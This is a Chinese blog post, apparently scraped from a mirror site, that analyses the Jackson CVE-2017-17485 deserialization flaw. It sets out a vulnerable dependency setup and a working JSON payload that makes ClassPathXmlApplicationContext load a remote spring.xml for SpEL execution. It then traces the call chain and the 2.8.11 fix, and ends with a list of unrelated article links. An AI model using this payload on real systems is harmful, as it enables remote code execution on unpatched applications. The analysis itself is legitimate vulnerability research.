当前位置: 首页 > news >正文

Jackson CVE-2017-17485 反序列化漏洞

0x00 前言

同CVE-2017-15095一样,是CVE-2017-7525黑名单绕过的漏洞,主要还是看一下绕过的调用链利用方式。

可以先看:

  • Jackson 反序列化漏洞原理

或者直接看总结也可以:

  • Jackson总结

涉及版本:2.8.10和2.9.x至2.9.3

0x01 环境搭建

        <dependency><groupId>com.fasterxml.jackson.dataformat</groupId><artifactId>jackson-dataformat-xml</artifactId><version>2.8.10</version></dependency><dependency><groupId>org.springframework</groupId><artifactId>spring-context</artifactId><version>5.3.23</version></dependency>

0x02 调用链分析

poc:

"{\"object\":[\"org.springframework.context.support.ClassPathXmlApplicationContext\",\"http://127.0.0.1:8008/spring.xml\"]}";

首先来看调用链:org.springframework.context.support.ClassPathXmlApplicationContext,可以通过这个调用链来加载远程的SpEL表达式,从而达到执行任意代码执行的目的。

Jackson可以调用带有参数的构造方法,这里调用的是: ClassPathXmlApplicationContext(String configLocation)
在这里插入图片描述最终会调用到此处:ClassPathXmlApplicationContext,setConfigLocations用来配置本地化信息
在这里插入图片描述重点在refresh位置,通过obtainFreshBeanFactory远程加载文件
在这里插入图片描述通过finishBeanFactoryInitialization执行SpEL表达式
在这里插入图片描述之后就是加载单列beam,会对SpEL的内容进行解析,从而触发想要执行的内容。

0x03 修复

在2.8.11版本的时候,将黑名单挪到了src\main\java\com\fasterxml\jackson\databind\jsontype\impl\SubTypeValidator.java,同时增加了部分的黑名单。

实际上除了以上的调用链,也可以通过如下的调用链进行尝试和利用:
在这里插入图片描述

http://www.lryc.cn/news/28778.html

相关文章:

  • 十大排序(C++版)
  • SpringMVC中的常用注解
  • English Learning - L2-3 英音地道语音语调 小元音 [ʌ] [ɒ] [ʊ] [ɪ] [ə] [e] 2023.02.27 周一
  • fastadmin后台登录页修改
  • Java 面向对象(OOP)的三大特性
  • Java:openjdk: error: Student is abstract; cannot be instantiated;java编译环境
  • 28个案例问题分析---019---临时解决方案和最终解决方案--思想
  • 计算机网络的166个概念你知道几个 第四部分
  • Lenovo 联想-IdeaPad-Y530电脑 Hackintosh 黑苹果efi引导文件
  • mac M1 nvm安装教程,避坑
  • 【项目精选】基于网络爬虫技术的网络新闻分析(视频+论文+源码)
  • 【Python - Matplotlib】P2 plot 折线图
  • 【Verilog】——模块,常量,变量
  • 论文投稿指南——中文核心期刊推荐(电影、电视艺术)
  • Pip install 和Conda install 总结
  • 嵌入式系统实验——【玄武F103开发板】实现两个LED小灯闪烁
  • 数组之双指针题
  • 真实需求和梦想实现满足
  • [ant-design-vue] tree 组件功能使用
  • QT父子窗口事件传递与事件过滤器
  • 【2.4 golang中的循环语句for】
  • Windows 系统下 Apache 和 php 环境怎么搭建?
  • Python基础知识——字符串、字典
  • JVM常用指令
  • 排序中常见的一些指标
  • 51单片机入门————数码管显示
  • Spring事务未生效场景
  • servlet注解开发
  • mysql一联合主键
  • openpnp - 判断吸嘴是否指定了正确的旋转轴